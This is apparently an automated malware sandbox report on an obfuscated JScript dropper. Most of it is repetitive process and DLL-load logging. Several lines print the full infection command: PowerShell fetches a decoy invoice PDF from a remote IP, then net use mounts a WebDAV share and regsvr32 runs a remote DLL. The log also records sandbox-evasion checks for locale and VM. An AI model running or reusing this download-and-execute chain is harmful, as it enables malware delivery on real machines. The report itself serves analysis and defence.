Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8208.js.csv");ITextStream.WriteLine(" entry:7385 f:bppls");ITextStream.WriteLine(" exec:2 f:bppls");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4151			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5699			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3596	Thread sleep count: 4151 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4288	Thread sleep count: 5699 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2448	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4120	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7216	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2120699616.000001F720B69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWt6
Source: svchost.exe, 00000009.00000002.3330716317.0000020ACF42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.2120699616.000001F720B10000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2120699616.000001F720B69000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3331756715.0000020AD4A42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3331803015.0000020AD4A5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.2051427203.000001C0ADBEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
